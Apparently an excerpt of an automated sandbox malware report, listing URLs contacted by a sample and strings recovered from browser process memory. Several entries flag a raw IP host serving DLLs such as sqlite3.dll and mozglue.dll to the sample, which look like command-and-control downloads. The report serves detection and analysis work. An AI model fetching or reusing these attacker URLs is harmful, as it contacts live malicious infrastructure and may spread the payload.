https://browser.events.data.msn.com/OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1730077661423&w=0&anoncknm=app_anon&NoResponseBody=true	false	unknown
https://www.google.com/complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw	false	unknown
http://185.215.113.206/746f34465cf17784/sqlite3.dll	true	unknown
https://browser.events.data.msn.com/OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1730077661433&w=0&anoncknm=app_anon&NoResponseBody=true	false	unknown
http://185.215.113.206/746f34465cf17784/msvcp140.dll	true	unknown
https://www.google.com/async/newtab_ogb?hl=en-US&async=fixed:0	false	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://clients3.google.com/cast/chromecast/home/wallpaper/image?rt=b	chrome.exe, 00000003.00000002.2433948066.0000716C02928000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://anglebug.com/4633	chrome.exe, 00000003.00000003.2262114353.0000716C0255C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2262616475.0000716C0255C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2441827201.0000716C02EC8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2262672459.0000716C02DC4000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2372307537.00000E200038C000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://anglebug.com/7382	chrome.exe, 00000003.00000003.2262114353.0000716C0255C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2262616475.0000716C0255C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2441827201.0000716C02EC8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2262672459.0000716C02DC4000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2372307537.00000E200038C000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://ntp.msn.cn/edge/ntp	2cc80dabc69f58b6_1.8.dr	false		unknown
http://polymer.github.io/AUTHORS.txt	chrome.exe, 00000003.00000003.2269542237.0000716C031D0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2270157048.0000716C02D1C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2268602215.0000716C03198000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2268040236.0000716C03154000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2269260966.0000716C0268C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2268772614.0000716C032A4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2270058451.0000716C0332C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2268269708.0000716C032D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2269906541.0000716C02594000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2268239022.0000716C03288000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2269292402.0000716C02C28000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2368446458.0000716C0257F000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2269479781.0000716C02DC4000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://docs.google.com/	chrome.exe, 00000003.00000003.2251084569.0000716C026B8000.00000004.00000800.00020000.00000000.sdmp, manifest.json0.8.dr	false		unknown
http://unisolated.invalid/	chrome.exe, 00000003.00000002.2438463901.0000716C02BF4000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://photos.google.com?referrer=CHROME_NTP	chrome.exe, 00000003.00000003.2270157048.0000716C02D1C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2270058451.0000716C0332C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2269906541.0000716C02594000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://ogs.google.com/widget/callout?eom=1	chrome.exe, 00000003.00000003.2291634885.0000716C034DC000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://anglebug.com/6929	chrome.exe, 00000003.00000003.2262114353.0000716C0255C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2262616475.0000716C0255C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2441827201.0000716C02EC8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2262672459.0000716C02DC4000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2372307537.00000E200038C000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://185.215.113.206/746f34465cf17784/mozglue.dllr	file.exe, 00000000.00000002.2666421532.0000000001928000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://anglebug.com/7246	chrome.exe, 00000003.00000003.2262114353.0000716C0255C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2262616475.0000716C0255C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2441827201.0000716C02EC8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2262672459.0000716C02DC4000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2372307537.00000E200038C000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://anglebug.com/7369	chrome.exe, 00000003.00000003.2262114353.0000716C0255C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2262616475.0000716C0255C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2441827201.0000716C02EC8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2262672459.0000716C02DC4000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2372307537.00000E200038C000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://anglebug.com/7489	chrome.exe, 00000003.00000003.2262114353.0000716C0255C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2262616475.0000716C0255C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2441827201.0000716C02EC8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2262672459.0000716C02DC4000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2372307537.00000E200038C000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://drive-daily-2.corp.google.com/	chrome.exe, 00000003.00000003.2251084569.0000716C026B8000.00000004.00000800.00020000.00000000.sdmp, manifest.json0.8.dr	false		unknown
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pLk4pqk4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi	file.exe, 00000000.00000002.2694857353.0000000023CEA000.00000004.00000020.00020000.00000000.sdmp, JEGHJDGIJECGDHJJECGH.0.dr	false		unknown
http://polymer.github.io/PATENTS.txt	chrome.exe, 00000003.00000003.2269542237.0000716C031D0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2270157048.0000716C02D1C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2268602215.0000716C03198000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2268040236.0000716C03154000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2269260966.0000716C0268C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2268772614.0000716C032A4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2270058451.0000716C0332C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2268269708.0000716C032D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2269906541.0000716C02594000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2268239022.0000716C03288000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2269292402.0000716C02C28000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2368446458.0000716C0257F000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2269479781.0000716C02DC4000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://issuetracker.google.com/161903006	msedge.exe, 00000007.00000003.2372307537.00000E200038C000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://www.ecosia.org/newtab/	file.exe, 00000000.00000002.2694857353.0000000023C20000.00000004.00000020.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2441192414.0000716C02E48000.00000004.00000800.00020000.00000000.sdmp, AKJDGIEH.0.dr	false	URL Reputation: safe	unknown
https://drive-daily-5.corp.google.com/	chrome.exe, 00000003.00000003.2251084569.0000716C026B8000.00000004.00000800.00020000.00000000.sdmp, manifest.json0.8.dr	false		unknown
https://docs.google.com/spreadsheets/u/0/create?usp=chrome_actions	chrome.exe, 00000003.00000002.2371631544.0000716C02704000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2433948066.0000716C02928000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2458217336.0000716C03164000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://myaccount.google.com/data-and-privacy?utm_source=ga-chrome-actions&utm_medium=managePrivacy	chrome.exe, 00000003.00000003.2320867661.0000716C02E60000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2369187282.0000716C0260C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2434576716.0000716C029A4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2441254268.0000716C02E64000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://permanently-removed.invalid/v1/issuetoken	msedge.exe, 00000007.00000003.2371929721.00000E2000280000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2372276180.00000E2000284000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2371633364.00000E200027C000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://anglebug.com/4722	chrome.exe, 00000003.00000003.2262114353.0000716C0255C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2262616475.0000716C0255C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2441827201.0000716C02EC8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2262672459.0000716C02DC4000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2372307537.00000E200038C000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://assets.msn.com/statics/icons/favicon_newtabpage.png	file.exe, 00000000.00000003.2524968649.000000001DBAB000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2524855173.000000001DBAB000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2526405097.000000001DBB0000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2591137748.000000001DBB0000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2601465031.000000001DBB1000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2525766385.000000001DBAC000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2690539449.000000001DBB2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2525027955.000000001DBAC000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2526559818.000000001DBB0000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2525921756.000000001DBAC000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2690327347.000000001DB8B000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2511072073.000000001DBAB000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2601344073.000000001DBB0000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2590865854.000000001DBB0000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2526305468.000000001DBB0000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2601201015.000000001DBB0000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2526063234.000000001DBAD000.00000004.00000020.00020000.00000000.sdmp, json[1].json0.0.dr	false		unknown
https://m.google.com/devicemanagement/data/api	chrome.exe, 00000003.00000002.2366692051.0000716C0240C000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://permanently-removed.invalid/reauth/v1beta/users/	msedge.exe, 00000007.00000003.2371929721.00000E2000280000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2372276180.00000E2000284000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2371633364.00000E200027C000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://docs.google.com/presentation/u/0/create?usp=chrome_actions	chrome.exe, 00000003.00000002.2371631544.0000716C02704000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2433948066.0000716C02928000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2458217336.0000716C03164000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://anglebug.com/5881S	chrome.exe, 00000003.00000002.2441827201.0000716C02EC8000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://srtb.msn.cn/	2cc80dabc69f58b6_1.8.dr	false		unknown
https://assets.msn.cn/resolver/	2cc80dabc69f58b6_1.8.dr	false		unknown
https://publickeyservice.pa.gcp.privacysandboxservices.com	chrome.exe, 00000003.00000003.2294697631.0000716C0360C000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://185.215.113.206w	file.exe, 00000000.00000002.2666421532.00000000018CE000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://browser.events.data.msn.com/	2cc80dabc69f58b6_1.8.dr	false		unknown
https://permanently-removed.invalid/RotateBoundCookies	msedge.exe, 00000007.00000003.2371929721.00000E2000280000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2372276180.00000E2000284000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2371633364.00000E200027C000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://anglebug.com/3502	chrome.exe, 00000003.00000003.2262114353.0000716C0255C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2262616475.0000716C0255C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2441827201.0000716C02EC8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2262672459.0000716C02DC4000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2372307537.00000E200038C000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://anglebug.com/3623	msedge.exe, 00000007.00000003.2372307537.00000E200038C000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://anglebug.com/3625	msedge.exe, 00000007.00000003.2372307537.00000E200038C000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://anglebug.com/3624	msedge.exe, 00000007.00000003.2372307537.00000E200038C000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://anglebug.com/3862	chrome.exe, 00000003.00000003.2262114353.0000716C0255C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2262616475.0000716C0255C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2441827201.0000716C02EC8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2262672459.0000716C02DC4000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2372307537.00000E200038C000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://docs.rs/getrandom#nodejs-es-module-support	file.exe, file.exe, 00000000.00000003.2155476235.000000000558B000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2701244031.000000006CD21000.00000002.00000001.01000000.00000007.sdmp, file.exe, 00000000.00000002.2664752549.0000000000B4C000.00000040.00000001.01000000.00000003.sdmp	false	URL Reputation: safe	unknown
https://ntp.msn.com/edge/ntp	2cc80dabc69f58b6_1.8.dr, 000003.log3.8.dr	false		unknown
https://chrome.google.com/webstoreLDDiscover	chrome.exe, 00000003.00000003.2262493270.0000716C0268C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2267261483.0000716C03118000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2270490464.0000716C0268C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2264824103.0000716C02EFC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2270696368.0000716C03118000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2270359993.0000716C02518000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2264748316.0000716C0268C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2441827201.0000716C02EC8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2262572909.0000716C02EFC000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://anglebug.com/4836	chrome.exe, 00000003.00000003.2262114353.0000716C0255C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2262616475.0000716C0255C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2441827201.0000716C02EC8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2262672459.0000716C02DC4000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2372307537.00000E200038C000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://issuetracker.google.com/issues/166475273	msedge.exe, 00000007.00000003.2372307537.00000E200038C000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://ch.search.yahoo.com/favicon.ico	chrome.exe, 00000003.00000003.2320867661.0000716C02E60000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2441254268.0000716C02E64000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://anglebug.com/3970	chrome.exe, 00000003.00000003.2262114353.0000716C0255C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2262616475.0000716C0255C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2441827201.0000716C02EC8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2262672459.0000716C02DC4000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2372307537.00000E200038C000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://anglebug.com/6574A	chrome.exe, 00000003.00000002.2441827201.0000716C02EC8000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://apis.google.com	chrome.exe, 00000003.00000003.2291634885.0000716C034DC000.00000004.00000800.00020000.00000000.sdmp, chromecache_446.5.dr	false	URL Reputation: safe	unknown
http://polymer.github.io/CONTRIBUTORS.txt	chrome.exe, 00000003.00000003.2269542237.0000716C031D0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2270157048.0000716C02D1C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2268602215.0000716C03198000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2268040236.0000716C03154000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2269260966.0000716C0268C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2268772614.0000716C032A4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2270058451.0000716C0332C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2268269708.0000716C032D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2269906541.0000716C02594000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2268239022.0000716C03288000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2269292402.0000716C02C28000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2368446458.0000716C0257F000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2269479781.0000716C02DC4000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://labs.google.com/search?source=ntp	chrome.exe, 00000003.00000002.2369428302.0000716C0266C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2291634885.0000716C034DC000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://google-ohttp-relay-query.fastly-edge.com/2P	chrome.exe, 00000003.00000003.2294697631.0000716C0360C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2247313729.000041080039C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2247130128.0000410800390000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://mail.google.com/mail/?tab	chrome.exe, 00000003.00000003.2291613816.0000716C030FC000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://anglebug.com/5901	chrome.exe, 00000003.00000003.2262114353.0000716C0255C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2262616475.0000716C0255C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2441827201.0000716C02EC8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2262672459.0000716C02DC4000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2372307537.00000E200038C000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://anglebug.com/3965	chrome.exe, 00000003.00000003.2262114353.0000716C0255C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2262616475.0000716C0255C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2441827201.0000716C02EC8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2262672459.0000716C02DC4000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2372307537.00000E200038C000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://anglebug.com/7161	chrome.exe, 00000003.00000003.2262114353.0000716C0255C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2262616475.0000716C0255C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2441827201.0000716C02EC8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2262672459.0000716C02DC4000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2372307537.00000E200038C000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://anglebug.com/7162	chrome.exe, 00000003.00000003.2262114353.0000716C0255C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2262616475.0000716C0255C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2441827201.0000716C02EC8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2262672459.0000716C02DC4000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2372307537.00000E200038C000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://anglebug.com/7369E	chrome.exe, 00000003.00000002.2441827201.0000716C02EC8000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://anglebug.com/5906	chrome.exe, 00000003.00000002.2441827201.0000716C02EC8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2262672459.0000716C02DC4000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2387777739.00000E200031C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2372307537.00000E200038C000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://anglebug.com/2517	chrome.exe, 00000003.00000003.2262114353.0000716C0255C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2262616475.0000716C0255C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2441827201.0000716C02EC8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2262672459.0000716C02DC4000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2372307537.00000E200038C000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://permanently-removed.invalid/MergeSession	msedge.exe, 00000007.00000003.2371929721.00000E2000280000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2372276180.00000E2000284000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2371633364.00000E200027C000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://anglebug.com/4937	chrome.exe, 00000003.00000003.2262114353.0000716C0255C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2262616475.0000716C0255C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2441827201.0000716C02EC8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2262672459.0000716C02DC4000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2372307537.00000E200038C000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://issuetracker.google.com/166809097	msedge.exe, 00000007.00000003.2372307537.00000E200038C000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://lens.google.com/v3/upload	chrome.exe, 00000003.00000003.2247923327.00004108006E4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2270058451.0000716C0332C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2362590067.0000410800744000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2269906541.0000716C02594000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://anglebug.com/3832	chrome.exe, 00000003.00000003.2262114353.0000716C0255C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2262616475.0000716C0255C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2441827201.0000716C02EC8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2262672459.0000716C02DC4000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2372307537.00000E200038C000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://www.google.comAccess-Control-Allow-Credentials:	chrome.exe, 00000003.00000003.2290709845.0000716C02518000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://drive-daily-0.corp.google.com/	chrome.exe, 00000003.00000003.2251084569.0000716C026B8000.00000004.00000800.00020000.00000000.sdmp, manifest.json0.8.dr	false		unknown
https://permanently-removed.invalid/Logout	msedge.exe, 00000007.00000003.2371929721.00000E2000280000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2372276180.00000E2000284000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2371633364.00000E200027C000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://185.215.113.206HIJ	file.exe, 00000000.00000002.2664752549.0000000000B4C000.00000040.00000001.01000000.00000003.sdmp	false		unknown
https://lens.google.com/upload	chrome.exe, 00000003.00000003.2270157048.0000716C02D1C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2270058451.0000716C0332C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2269906541.0000716C02594000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://docs.google.com/document/?usp=installed_webapp	chrome.exe, 00000003.00000002.2426214841.0000716C0286C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2251592259.0000716C028FC000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://anglebug.com/6651	chrome.exe, 00000003.00000003.2262114353.0000716C0255C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2262616475.0000716C0255C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2441827201.0000716C02EC8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2262672459.0000716C02DC4000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2372307537.00000E200038C000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://c.msn.com/	2cc80dabc69f58b6_1.8.dr	false		unknown
